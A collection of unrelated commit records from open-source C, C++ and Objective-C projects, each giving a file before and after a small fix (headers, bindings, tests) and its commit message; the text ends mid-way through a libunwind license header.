// @(#)root/editline:$Id$
// Author: Axel Naumann, 2009

/*************************************************************************
 * Copyright (C) 1995-2009, Rene Brun and Fons Rademakers.               *
 * All rights reserved.                                                  *
 *                                                                       *
 * For the licensing terms see $ROOTSYS/LICENSE.                         *
 * For the list of contributors see $ROOTSYS/README/CREDITS.             *
 *************************************************************************/

#ifdef __sun
# include R__CURSESHDR
extern "C" {
   // cannot #include term.fH because it #defines move() etc
char *tparm(char*, long, long, long, long, long, long, long, long, long);
char *tigetstr(char*);
char *tgoto(char*, int, int);
int   tputs(char*, int, int (*)(int));
int tgetflag(char*);
int tgetnum(char*);
char* tgetstr(char*, char**);
int tgetent(char*, const char*);
}
// un-be-lievable.
# undef erase
# undef move
# undef clear
# undef del
# undef key_end
# undef key_clear
# undef key_print
#else
# include R__CURSESHDR
# include <termcap.h>
# include <termcap.h>
extern "C" int setupterm(const char* term, int fd, int* perrcode);
#endif

// @(#)root/editline:$Id$
// Author: Axel Naumann, 2009

/*************************************************************************
 * Copyright (C) 1995-2009, Rene Brun and Fons Rademakers.               *
 * All rights reserved.                                                  *
 *                                                                       *
 * For the licensing terms see $ROOTSYS/LICENSE.                         *
 * For the list of contributors see $ROOTSYS/README/CREDITS.             *
 *************************************************************************/

#ifdef __sun
# include R__CURSESHDR
extern "C" {
   // cannot #include term.h because it #defines move() etc
char *tparm(char*, long, long, long, long, long, long, long, long, long);
char *tigetstr(char*);
int tigetnum(char*);
char *tgoto(char*, int, int);
int   tputs(char*, int, int (*)(int));
int tgetflag(char*);
int tgetnum(char*);
char* tgetstr(char*, char**);
int tgetent(char*, const char*);
}
// un-be-lievable.
# undef erase
# undef move
# undef clear
# undef del
# undef key_end
# undef key_clear
# undef key_print
#else
# include R__CURSESHDR
# include <termcap.h>
# include <termcap.h>
extern "C" int setupterm(const char* term, int fd, int* perrcode);
#endif

Fix for solaris: declare tigetnum

Fix for solaris: declare tigetnum

git-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@30238 27541ba8-7e3a-0410-8455-c3a389f83636


#import <Foundation/Foundation.h>

@interface NSProcessInfo (TDTEnvironmentDetection)

/**
 Determine if the current process is running inside a unit test context.

 Use case:
 When running unit tests on iOS, it is not necessary to fully initialize the
 application. The following check can be used to return early in the application
 launch process:
 \code
 - (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(id)options {
 #ifdef DEBUG
 if ([[NSProcessInfo processInfo] isRunningTests]) return YES;
 #endif
 ...
 return YES;
 }
 \endcode

 @return YES if the process has been invoked to run the XCTest bundle.
 */
@property (nonatomic, readonly) BOOL tdt_isRunningTests;

/**
 Determine if a debugger is attached to the current process.

 This can help decide, for example, whether to redirect standard error
 (and hence, everything logged by @p TDTLog) to a file. Usually, when
 a process is attached to a debugger, you do not want to redirect
 standard error.

 Source: Technical Q&A QA1361 "Detecting the Debugger"

 @note This method relies on a public but unstable Apple API. It
 should not be used in a release build.
 */
- (BOOL)tdt_isDebugged;

@end

#import <Foundation/Foundation.h>

@interface NSProcessInfo (TDTEnvironmentDetection)

/**
 Determine if the current process is running inside a unit test context.

 Use case:
 When running unit tests on iOS, it is not necessary to fully initialize the
 application. The following check can be used to return early in the application
 launch process:
 \code
 - (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(id)options {
 #ifdef DEBUG
 if ([[NSProcessInfo processInfo] tdt_isRunningTests]) return YES;
 #endif
 ...
 return YES;
 }
 \endcode

 @return YES if the process has been invoked to run the XCTest bundle.
 */
@property (nonatomic, readonly) BOOL tdt_isRunningTests;

/**
 Determine if a debugger is attached to the current process.

 This can help decide, for example, whether to redirect standard error
 (and hence, everything logged by @p TDTLog) to a file. Usually, when
 a process is attached to a debugger, you do not want to redirect
 standard error.

 Source: Technical Q&A QA1361 "Detecting the Debugger"

 @note This method relies on a public but unstable Apple API. It
 should not be used in a release build.
 */
- (BOOL)tdt_isDebugged;

@end

Update method name in documentation

Update method name in documentation


#include "ring.h"

/*
	OpenGL 2.1 Extension
	Copyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>
*/

#include <GL/glew.h>
#include <GL/glut.h>

RING_FUNC(ring_glAccum)
{
	if ( RING_API_PARACOUNT != 2 ) {
		RING_API_ERROR(RING_API_MISS2PARA);
		return ;
	}
	if ( ! RING_API_ISNUMBER(1) ) {
		RING_API_ERROR(RING_API_BADPARATYPE);
		return ;
	}
	if ( ! RING_API_ISNUMBER(2) ) {
		RING_API_ERROR(RING_API_BADPARATYPE);
		return ;
	}
	glAccum( (GLenum )  (int) RING_API_GETNUMBER(1), (GLfloat ) RING_API_GETNUMBER(2));
}

RING_API void ringlib_init(RingState *pRingState)
{
	ring_vm_funcregister("glaccum",ring_glAccum);
}

#include "ring.h"

/*
	OpenGL 2.1 Extension
	Copyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>
*/

#include <GL/glew.h>
#include <GL/glut.h>

RING_FUNC(ring_glAccum)
{
	if ( RING_API_PARACOUNT != 2 ) {
		RING_API_ERROR(RING_API_MISS2PARA);
		return ;
	}
	if ( ! RING_API_ISNUMBER(1) ) {
		RING_API_ERROR(RING_API_BADPARATYPE);
		return ;
	}
	if ( ! RING_API_ISNUMBER(2) ) {
		RING_API_ERROR(RING_API_BADPARATYPE);
		return ;
	}
	glAccum( (GLenum )  (int) RING_API_GETNUMBER(1), (GLfloat ) RING_API_GETNUMBER(2));
}

RING_FUNC(ring_glActiveTexture)
{
	if ( RING_API_PARACOUNT != 1 ) {
		RING_API_ERROR(RING_API_MISS1PARA);
		return ;
	}
	if ( ! RING_API_ISNUMBER(1) ) {
		RING_API_ERROR(RING_API_BADPARATYPE);
		return ;
	}
	glActiveTexture( (GLenum )  (int) RING_API_GETNUMBER(1));
}

RING_API void ringlib_init(RingState *pRingState)
{
	ring_vm_funcregister("glaccum",ring_glAccum);
	ring_vm_funcregister("glactivetexture",ring_glActiveTexture);
}

Update RingOpenGL - Add Function (Source Code) : void glActiveTexture(GLenum texture)


/*! \file GeometricData.h Geometric data for robots when available.

  Copyright (c) 2010
  @author Olivier Stasse

  JRL-Japan, CNRS/AIST

  All rights reserved.

  Please see License.txt for more informations on the license related to this software.
*/

#ifndef _DYNAMICS_JRL_JAPAN_GEOMETRIC_DATA_H_
#define _DYNAMICS_JRL_GEOMETRIC_DATA_H_

#if defined (WIN32)
#  ifdef dynamicsJRLJapan_EXPORTS
#    define DYN_JRL_JAPAN_EXPORT __declspec(dllexport)
#  else
#    define DYN_JRL_JAPAN_EXPORT __declspec(dllimport)
#  endif
#else
#  define DYN_JRL_JAPAN_EXPORT
#endif

#include <vector>
#include <string>

#include <MatrixAbstractLayer/MatrixAbstractLayer.h>
#include "robotDynamics/jrlHumanoidDynamicRobot.h"
#include "robotDynamics/jrlRobotDynamicsObjectConstructor.h"

namespace dynamicsJRLJapan
{
  namespace Geometry
  {
    struct DYN_JRL_JAPAN_EXPORT Material
    {
      float ambientIntensity;
      float diffuseColor[3];
      float emissiveColor[3];
      float specularColor[3];
      float shininess[3];
      float transparency;

    Material():
      ambientIntensity(0.2),
	diffuseColor({0.8,0.8,0.8}),
	emissiveColor({0.0,0.0,0.0}),
	shininess({0.2}),
	specularColor({0.0,0.0,0.0}),
	transparency({0})
      {};

    };

    struct DYN_JRL_JAPAN_EXPORT Texture
    {
      std::string FileName;
    }

    struct DYN_JRL_JAPAN_EXPORT TextureTransform
    {
      float center[2];
      float rotation;
      float scale[2];
      float translation[2];

    TextureTransform():
      center({0.0,0.0}),
	rotation(0),
	scale({1.0,1.0}),
	translation({0.0,0.0})
      {};
    }

    class DYN_JRL_JAPAN_EXPORT Appearance
    {
    private:

      Material         m_Material;
      Texture          m_Texture;
      TextureTransform m_TextureTransform;

    public:
      Appearance();
      ~Appearance();
      /*! \name Setter and getters
	@{
       */
      void setMaterial(Material &aMaterial);
      const Material &getMaterial() const;

      void setTexture(Texture &aTexture);
      const Texture &getTexture() const;

      void setTextureTransform(TextureTransform &aTexture);
      const TextureTransform &getTextureTransform() const;
      /*! @} */
    };

    class DYN_JRL_JAPAN_EXPORT Shape
    {

    };
  };
};

#endif /*! _DYNAMICS_JRL_GEOMETRIC_DATA_H_ */

Add reading of geometrical parts.

Add reading of geometrical parts.

Not yet doing something useful with it.
GeometricData will store the geometric information.
We are moving slowly to openvrml...


#pragma once

#include <nucleus/optional.h>

#include "canvas/renderer/pipeline.h"
#include "canvas/renderer/vertex_definition.h"
#include "canvas/utils/shader_source.h"

namespace ca {

class Renderer;

class PipelineBuilder {
public:
  explicit PipelineBuilder(Renderer* renderer);

  PipelineBuilder& attribute(nu::StringView name, ComponentType type,
                             ComponentCount component_count);

  PipelineBuilder& vertex_shader(ShaderSource source);
  PipelineBuilder& geometry_shader(ShaderSource source);
  PipelineBuilder& fragment_shader(ShaderSource source);

  NU_NO_DISCARD nu::Optional<Pipeline> build() const;

private:
  Renderer* renderer_;

  VertexDefinition vertex_definition_;
  nu::Optional<ShaderSource> vertex_shader_;
  nu::Optional<ShaderSource> geometry_shader_;
  nu::Optional<ShaderSource> fragment_shader_;
};

}  // namespace ca

#pragma once

#include <nucleus/optional.hpp>

#include "canvas/renderer/pipeline.h"
#include "canvas/renderer/vertex_definition.h"
#include "canvas/utils/shader_source.h"

namespace ca {

class Renderer;

class PipelineBuilder {
public:
  explicit PipelineBuilder(Renderer* renderer);

  PipelineBuilder& attribute(nu::StringView name, ComponentType type,
                             ComponentCount component_count);

  PipelineBuilder& vertex_shader(ShaderSource source);
  PipelineBuilder& geometry_shader(ShaderSource source);
  PipelineBuilder& fragment_shader(ShaderSource source);

  NU_NO_DISCARD nu::Optional<Pipeline> build() const;

private:
  Renderer* renderer_;

  VertexDefinition vertex_definition_;
  nu::Optional<ShaderSource> vertex_shader_;
  nu::Optional<ShaderSource> geometry_shader_;
  nu::Optional<ShaderSource> fragment_shader_;
};

}  // namespace ca

Fix compilation error with improved Optional.


// RUN: %clang_cc1 -emit-llvm -o %t %s
// RUN: not grep "@pipe()" %t
// RUN: grep '_thisIsNotAPipe' %t | count 3
// RUN: not grep 'g0' %t
// RUN: grep '_renamed' %t | count 2
// RUN: %clang_cc1 -DUSE_DEF -emit-llvm -o %t %s
// RUN: not grep "@pipe()" %t
// RUN: grep '_thisIsNotAPipe' %t | count 3
// <rdr://6116729>

void pipe() asm("_thisIsNotAPipe");

void f0() {
  pipe();
}

void pipe(int);

void f1() {
  pipe(1);
}

#ifdef USE_DEF
void pipe(int arg) {
  int x = 10;
}
#endif

// PR3698
extern int g0 asm("_renamed");
int f2() {
  return g0;
}

// RUN: %clang_cc1 -emit-llvm -o %t %s
// RUN: not grep "@pipe()" %t
// RUN: grep '_thisIsNotAPipe' %t | count 3
// RUN: not grep '@g0' %t
// RUN: grep '_renamed' %t | count 2
// RUN: %clang_cc1 -DUSE_DEF -emit-llvm -o %t %s
// RUN: not grep "@pipe()" %t
// RUN: grep '_thisIsNotAPipe' %t | count 3
// <rdr://6116729>

void pipe() asm("_thisIsNotAPipe");

void f0() {
  pipe();
}

void pipe(int);

void f1() {
  pipe(1);
}

#ifdef USE_DEF
void pipe(int arg) {
  int x = 10;
}
#endif

// PR3698
extern int g0 asm("_renamed");
int f2() {
  return g0;
}

Fix asm label testcase flaw

Fix asm label testcase flaw

- Testcase attempts to (not) grep 'g0' in output to ensure asm symbol is
  properly renamed, but g0 is too generic and can be part of the
  module's path in LLVM IR output.
- Changed to grep '@g0', which is what the proper global symbol name
  would be if not using asm.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@338895 91177308-0d34-0410-b5e6-96231b3b80d8


#include <efivar.h>
#include <stdio.h>
#include <stdlib.h>

int main() {

  efi_guid_t guid = EFI_GLOBAL_GUID;

  const char* name = "BootCurrent";
  uint8_t *data;
  size_t data_size;
  uint32_t attr;

  int res = efi_get_variable(guid, name, &data, &data_size, &attr);
  if (res < 0) {
    perror("efi_get_variable");
    exit(1);
  }

  printf("data_size: %zu\n", data_size);

  return 0;
}

Add sample code to get efivar

Add sample code to get efivar


// PARAM: --sets solver td3 --enable ana.int.interval --disable ana.int.def_exc --set ana.activated "['base']"
// This is a pattern we saw in some examples for SVCOMP, where instead of the assert(0) there was a call to verifier error.
// Because of the demand-driven nature of our solvers, we never looked at the code inside fail since there is no edge from the loop to the endpoint of f.
// However, the assert(0) (verifier error) is still rechable from main.
void f(void) {
    fail:
        assert(0); //FAIL
        goto fail;
}

int main(void) {
    int top;

    if(top) {
        f();
    }
}

Add example containing infinite loop with assert

This is a pattern we saw in some examples for SVCOMP, where instead of the assert(0) there was a call to verifier error. Because of the demand-driven nature of our solvers, we never looked at the code inside fail since there is no edge from the loop to the endpoint of f.
However, the assert(0) (verifier error) is still rechable from main.


#pragma once
#ifndef YOU_DATASTORE_DATASTORE_H_
#define YOU_DATASTORE_DATASTORE_H_

#include <memory>
#include "task_typedefs.h"
#include "transaction.h"

namespace You {
namespace DataStore {
namespace UnitTests {}

class DataStore {
public:
	Transaction && begin();

	// Modifying methods
	void post(TaskId, SerializedTask&);
	void put(TaskId, SerializedTask&);
	void erase(TaskId);

	std::vector<SerializedTask> getAllTask();

private:
	static DataStore& get();
	bool isServing = false;
};
}  // namespace DataStore
}  // namespace You
#endif  // YOU_DATASTORE_DATASTORE_H_

#pragma once
#ifndef YOU_DATASTORE_DATASTORE_H_
#define YOU_DATASTORE_DATASTORE_H_

#include <memory>
#include "task_typedefs.h"
#include "transaction.h"

namespace You {
namespace DataStore {
namespace UnitTests {}

class DataStore {
public:
	Transaction && begin();

	static DataStore& get();

	// Modifying methods
	void post(TaskId, SerializedTask&);
	void put(TaskId, SerializedTask&);
	void erase(TaskId);

	std::vector<SerializedTask> getAllTask();

private:
	bool isServing = false;
};
}  // namespace DataStore
}  // namespace You
#endif  // YOU_DATASTORE_DATASTORE_H_

Modify the instance getter of DataStore to public


#pragma once

#include <libevm/VMFace.h>
#include <evmjit/libevmjit/ExecutionEngine.h>

namespace dev
{
namespace eth
{

class JitVM: public VMFace
{
public:
	virtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp = {}, uint64_t _steps = (uint64_t)-1) override final;

private:
	jit::RuntimeData m_data;
	jit::ExecutionEngine m_engine;
	std::unique_ptr<VMFace> m_fallbackVM; ///< VM used in case of input data rejected by JIT
};

}
}

#pragma once

#include <libevm/VMFace.h>
#include <evmjit/libevmjit/ExecutionEngine.h>

namespace dev
{
namespace eth
{

class JitVM: public VMFace
{
public:
	virtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp, uint64_t _steps) override final;

private:
	jit::RuntimeData m_data;
	jit::ExecutionEngine m_engine;
	std::unique_ptr<VMFace> m_fallbackVM; ///< VM used in case of input data rejected by JIT
};

}
}

Change the way execution results are collected.

Changes handling ExecutionResult by Executive. From now execution results are collected on if a storage for results (ExecutionResult) is provided to an Executiove instance up front. This change allow better output management for calls - VM interface improved.


/* -*- C -*-
 * $Id: defs.h 11708 2007-02-12 23:01:19Z shyouhei $
 */

#ifndef DIGEST_DEFS_H
#define DIGEST_DEFS_H

#include "ruby.h"
#include <sys/types.h>

#include <sys/cdefs.h>
/*
 * #if defined(HAVE_SYS_CDEFS_H)
 * # include <sys/cdefs.h>
 * #endif
 * #if !defined(__BEGIN_DECLS)
 * # define __BEGIN_DECLS
 * # define __END_DECLS
 * #endif
 */

#include <inttypes.h>
/*
 * #if defined(HAVE_INTTYPES_H)
 * # include <inttypes.h>
 * #elif !defined __CYGWIN__ || !defined __uint8_t_defined
 *   typedef unsigned char uint8_t;
 *   typedef unsigned int  uint32_t;
 * # if SIZEOF_LONG == 8
 *   typedef unsigned long uint64_t;
 * # elif SIZEOF_LONG_LONG == 8
 *   typedef unsigned LONG_LONG uint64_t;
 * # else
 * #  define NO_UINT64_T
 * # endif
 * #endif
 */

#endif /* DIGEST_DEFS_H */

/* -*- C -*-
 * $Id: defs.h 11708 2007-02-12 23:01:19Z shyouhei $
 */

#ifndef DIGEST_DEFS_H
#define DIGEST_DEFS_H

#include "ruby.h"
#include <sys/types.h>

#include <sys/cdefs.h>
/*
 * #if defined(HAVE_SYS_CDEFS_H)
 * # include <sys/cdefs.h>
 * #endif
 * #if !defined(__BEGIN_DECLS)
 * # define __BEGIN_DECLS
 * # define __END_DECLS
 * #endif
 */

#include <inttypes.h>
/*
 * #if defined(HAVE_INTTYPES_H)
 * # include <inttypes.h>
 * #elif !defined __CYGWIN__ || !defined __uint8_t_defined
 *   typedef unsigned char uint8_t;
 *   typedef unsigned int  uint32_t;
 * # if SIZEOF_LONG == 8
 *   typedef unsigned long uint64_t;
 * # elif SIZEOF_LONG_LONG == 8
 *   typedef unsigned LONG_LONG uint64_t;
 * # else
 * #  define NO_UINT64_T
 * # endif
 * #endif
 */

/* Define if processor uses big-endian word */
/*
#ifdef __BIG_ENDIAN__
#define WORDS_BIGENDIAN
#else */ /* !__BIG_ENDIAN__ */
/* #undef WORDS_BIGENDIAN */
/* #endif */ /* __BIG_ENDIAN__ */

#endif /* DIGEST_DEFS_H */

Fix Digest failures on OSX PPC (big endian) systems

- add some tests to defs.h to check for the existence of the __BIG_ENDIAN__
  macro which is available on POSIX systems. If it is defined, we define the
  WORDS_BIGENDIAN macro which is tested by the digest/**/*.c files to activate
  special code for byte reordering

Signed-off-by: Brian Ford <31227094f3baea959abbdb82d34f0bc93c1f3b36@engineyard.com>


#pragma once

#ifdef PLATFORM_ANDROID
struct _JNIEnv;
typedef _JNIEnv JNIEnv;
class _jobject;
typedef _jobject* jobject;
void jniInit(JNIEnv* _jniEnv, jobject obj, jobject _assetManager);
#endif

#if (defined PLATFORM_IOS) && (defined __OBJC__)
#import "ViewController.h"
void setViewController(ViewController* _controller);
#endif

#include <string>

/* Print a formatted message to the console
 *
 * Uses printf syntax to write a string to stderr (or logcat, on Android)
 */
void logMsg(const char* fmt, ...);

/* Request that a new frame be rendered by the windowing system
 */
void requestRender();

/* Read a bundled resource file as a string
 *
 * Opens the file at the given relative path and returns a string with its contents.
 * _path is the location of the file within the core/resources folder. If the file
 * cannot be found or read, the returned string is empty.
 */
std::string stringFromResource(const char* _path);

/* Read and allocates size bytes of memory
 *
 * Similarly to stringFromResource, _path is the location of file within
 * core/resources. If the file cannot be read nothing is allocated and
 * a nullptr is returned.
 * _size is is an in/out parameter to retrieve the size in bytes of the
 * allocated file
 */
unsigned char* bytesFromResource(const char* _path, unsigned int* _size);

#pragma once

#ifdef PLATFORM_ANDROID
struct _JNIEnv;
typedef _JNIEnv JNIEnv;
class _jobject;
typedef _jobject* jobject;
void jniInit(JNIEnv* _jniEnv, jobject obj, jobject _assetManager);
#endif

#if (defined PLATFORM_IOS) && (defined __OBJC__)
#import "ViewController.h"
void setViewController(ViewController* _controller);
#endif

#include <string>

/* Print a formatted message to the console
 *
 * Uses printf syntax to write a string to stderr (or logcat, on Android)
 */
void logMsg(const char* fmt, ...);

/* Request that a new frame be rendered by the windowing system
 */
void requestRender();

/* If called with 'true', the windowing system will re-draw frames continuously;
 * otherwise new frames will only be drawn when 'requestRender' is called.
 */
void setContinuousRendering(bool _isContinuous);

bool isContinuousRendering();

/* Read a bundled resource file as a string
 *
 * Opens the file at the given relative path and returns a string with its contents.
 * _path is the location of the file within the core/resources folder. If the file
 * cannot be found or read, the returned string is empty.
 */
std::string stringFromResource(const char* _path);

/* Read and allocates size bytes of memory
 *
 * Similarly to stringFromResource, _path is the location of file within
 * core/resources. If the file cannot be read nothing is allocated and
 * a nullptr is returned.
 * _size is is an in/out parameter to retrieve the size in bytes of the
 * allocated file
 */
unsigned char* bytesFromResource(const char* _path, unsigned int* _size);

Add headers for setting and getting continuous rendering state


/*
 * system_log.h
 *
 * Author: Ming Tsang
 * Copyright (c) 2014 Ming Tsang
 * Refer to LICENSE for details
 */

#pragma once

#include "libutils/io/logger.h"
#include "libutils/misc/singleton.h"

namespace libutils
{
namespace io
{

/**
 * The default system logger
 */
template<typename CharT>
class SystemLog : public misc::Singleton<Logger<CharT>, SystemLog<CharT>>
{};

}
}

/*
 * system_log.h
 *
 * Author: Ming Tsang
 * Copyright (c) 2014 Ming Tsang
 * Refer to LICENSE for details
 */

#pragma once

#include "libutils/misc/singleton.h"

namespace libutils
{
namespace io
{

template<typename T> class Logger;

}
}

namespace libutils
{
namespace io
{

/**
 * The default system logger
 */
template<typename CharT>
class SystemLog : public misc::Singleton<Logger<CharT>, SystemLog<CharT>>
{};

}
}

#include "libutils/io/logger.h"

Include logger.h later to prevent using SystemLog before definition


/*! @file GTMAppAuth.h
    @brief GTMAppAuth SDK
    @copyright
        Copyright 2016 Google Inc.
    @copydetails
        Licensed under the Apache License, Version 2.0 (the "License");
        you may not use this file except in compliance with the License.
        You may obtain a copy of the License at

        http://www.apache.org/licenses/LICENSE-2.0

        Unless required by applicable law or agreed to in writing, software
        distributed under the License is distributed on an "AS IS" BASIS,
        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
        See the License for the specific language governing permissions and
        limitations under the License.
 */

#import "GTMAppAuthFetcherAuthorization.h"
#import "GTMAppAuthFetcherAuthorization+Keychain.h"

#if TARGET_OS_TV
#elif TARGET_OS_WATCH
#elif TARGET_OS_IOS
#import "GTMOAuth2KeychainCompatibility.h"
#elif TARGET_OS_MAC
#import "GTMOAuth2KeychainCompatibility.h"
#else
#warn "Platform Undefined"
#endif

/*! @file GTMAppAuth.h
    @brief GTMAppAuth SDK
    @copyright
        Copyright 2016 Google Inc.
    @copydetails
        Licensed under the Apache License, Version 2.0 (the "License");
        you may not use this file except in compliance with the License.
        You may obtain a copy of the License at

        http://www.apache.org/licenses/LICENSE-2.0

        Unless required by applicable law or agreed to in writing, software
        distributed under the License is distributed on an "AS IS" BASIS,
        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
        See the License for the specific language governing permissions and
        limitations under the License.
 */

#import "GTMAppAuthFetcherAuthorization.h"
#import "GTMAppAuthFetcherAuthorization+Keychain.h"
#import "GTMKeychain.h"

#if TARGET_OS_TV
#elif TARGET_OS_WATCH
#elif TARGET_OS_IOS
#import "GTMOAuth2KeychainCompatibility.h"
#elif TARGET_OS_MAC
#import "GTMOAuth2KeychainCompatibility.h"
#else
#warn "Platform Undefined"
#endif

Add GTMKeychain.h to umbrella header

Add GTMKeychain.h to umbrella header

This is required for Xcode 12.5 and Swift Package Manager. Verified locally that this fix resolves the issue.


//===-- NativeRegisterContextWindows.h --------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//

#ifndef liblldb_NativeRegisterContextWindows_h_
#define liblldb_NativeRegisterContextWindows_h_

#include "Plugins/Process/Utility/NativeRegisterContextRegisterInfo.h"
#include "lldb/Host/common/NativeThreadProtocol.h"
#include "lldb/Utility/DataBufferHeap.h"

namespace lldb_private {

class NativeThreadWindows;

class NativeRegisterContextWindows : public NativeRegisterContextRegisterInfo {
public:
  NativeRegisterContextWindows::NativeRegisterContextWindows(
      NativeThreadProtocol &native_thread,
      RegisterInfoInterface *reg_info_interface_p);

  static std::unique_ptr<NativeRegisterContextWindows>
  CreateHostNativeRegisterContextWindows(const ArchSpec &target_arch,
                                         NativeThreadProtocol &native_thread);

protected:
  lldb::thread_t GetThreadHandle() const;
};

} // namespace lldb_private

#endif // liblldb_NativeRegisterContextWindows_h_

//===-- NativeRegisterContextWindows.h --------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//

#ifndef liblldb_NativeRegisterContextWindows_h_
#define liblldb_NativeRegisterContextWindows_h_

#include "Plugins/Process/Utility/NativeRegisterContextRegisterInfo.h"
#include "lldb/Host/common/NativeThreadProtocol.h"
#include "lldb/Utility/DataBufferHeap.h"

namespace lldb_private {

class NativeThreadWindows;

class NativeRegisterContextWindows : public NativeRegisterContextRegisterInfo {
public:
  NativeRegisterContextWindows(
      NativeThreadProtocol &native_thread,
      RegisterInfoInterface *reg_info_interface_p);

  static std::unique_ptr<NativeRegisterContextWindows>
  CreateHostNativeRegisterContextWindows(const ArchSpec &target_arch,
                                         NativeThreadProtocol &native_thread);

protected:
  lldb::thread_t GetThreadHandle() const;
};

} // namespace lldb_private

#endif // liblldb_NativeRegisterContextWindows_h_

[LLDB] Fix compilation for MinGW, remove redundant class name on inline member

This fixes build errors like these:

NativeRegisterContextWindows.h:22:33: error: extra qualification on member 'NativeRegisterContextWindows'
  NativeRegisterContextWindows::NativeRegisterContextWindows(
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^

Differential Revision: https://reviews.llvm.org/D67856

git-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@372482 91177308-0d34-0410-b5e6-96231b3b80d8


#ifndef POST_FILTER_H
#define POST_FILTER_H

#include <QString>
#include <QStringList>
#include <QMap>
#include "loader/token.h"

class PostFilter
{
	public:
		static QStringList filter(const QMap<QString, Token> &tokens, const QStringList &filters);
		static QStringList blacklisted(const QMap<QString, Token> &tokens, const QStringList &blacklistedTags, bool invert = true);

	protected:
		static QString match(const QMap<QString, Token> &tokens, QString filter, bool invert = false);
};

#endif // POST_FILTER_H

#ifndef POST_FILTER_H
#define POST_FILTER_H

#include <QString>
#include <QStringList>
#include <QMap>
#include "loader/token.h"

class PostFilter
{
	public:
		static QStringList filter(const QMap<QString, Token> &tokens, const QStringList &filters);
		static QStringList blacklisted(const QMap<QString, Token> &tokens, const QStringList &blacklistedTags, bool invert = true);
		static QString match(const QMap<QString, Token> &tokens, QString filter, bool invert = false);
};

#endif // POST_FILTER_H

Fix tests broken by new PostFilter class


/* See LICENSE file for copyright and license details. */

/* Notification, remove DNOTIFY in config.mk if you don't want it */
static char *notifycmd = ""; /* Uses given command if not compiled by DNOTIFY */
static char *notifyext = ""; /* Notify with extra command (eg. play an alarm) */

/*
 * This is the array which defines all the timer that will be used.
 * It will be repeated after all of it is executed.
 */
static Timers timers[] = {
	/* timer(s)  comment */
	{     1500,  "Time to start working!"},
	{      300,  "Time to start resting!"},
	{     1500,  "Time to start working!"},
	{      300,  "Time to start resting!"},
	{     1500,  "Time to start working!"},
	{      300,  "Time to start resting!"},
	{     1500,  "Time to start working!"},
	{      300,  "Time to start resting!"},
	{      900,  "Time to take some nap!"},
};

/* See LICENSE file for copyright and license details. */

/* Notification, remove DNOTIFY in config.mk if you don't want it */
static char *notifycmd = ""; /* Uses given command if not compiled by DNOTIFY */
static char *notifyext = ""; /* Notify with extra command (eg. play an alarm) */

/*
 * This is the array which defines all the timer that will be used.
 * It will be repeated after all of it is executed.
 */
static Timers timers[] = {
	/* timer(s)  comment */
	{     1500,  "Time to start working!"},
	{      300,  "Time to start resting!"},
	{     1500,  "Time to start working!"},
	{      300,  "Time to start resting!"},
	{     1500,  "Time to start working!"},
	{      300,  "Time to start resting!"},
	{     1500,  "Time to start working!"},
	{      300,  "Time to start resting!"},
	{      900,  "Time to take a nap!"   },
};

Make a small grammar fix

Make a small grammar fix


/*
 * Copyright (c) 2015-2017 ARM Limited. All rights reserved.
 * SPDX-License-Identifier: Apache-2.0
 * Licensed under the Apache License, Version 2.0 (the License); you may
 * not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an AS IS BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * \file ns_trace.h
 * Trace interface abstraction for NanoStack library as well as application.
 *
 * Actual used trace library is mbed-trace. For usage details check mbed_trace.h.
 *
 */
#ifndef NS_TRACE_H_
#define NS_TRACE_H_

#if defined(HAVE_DEBUG) && !defined(FEA_TRACE_SUPPORT)
#define FEA_TRACE_SUPPORT
#endif

#include "mbed-trace/mbed_trace.h"

#endif /* NS_TRACE_H_ */

/*
 * Copyright (c) 2015-2017 ARM Limited. All rights reserved.
 * SPDX-License-Identifier: Apache-2.0
 * Licensed under the Apache License, Version 2.0 (the License); you may
 * not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an AS IS BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * \file ns_trace.h
 * Trace interface abstraction for NanoStack library as well as application.
 *
 * Actual used trace library is mbed-trace. For usage details check mbed_trace.h.
 *
 */
#ifndef NS_TRACE_H_
#define NS_TRACE_H_

#if defined(HAVE_DEBUG) && !defined(FEA_TRACE_SUPPORT)
#define FEA_TRACE_SUPPORT
#endif

#include "ns_types.h"
#include "mbed-trace/mbed_trace.h"

#endif /* NS_TRACE_H_ */

Include ns_types.h before mbed_trace.h in Nanomesh


/* libunwind - a platform-independent unwind library
   Copyright (C) 2002 Hewlett-Packard Co
	Contributed by David Mosberger-Tang <davidm@hpl.hp.com>

This file is part of libunwind.

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
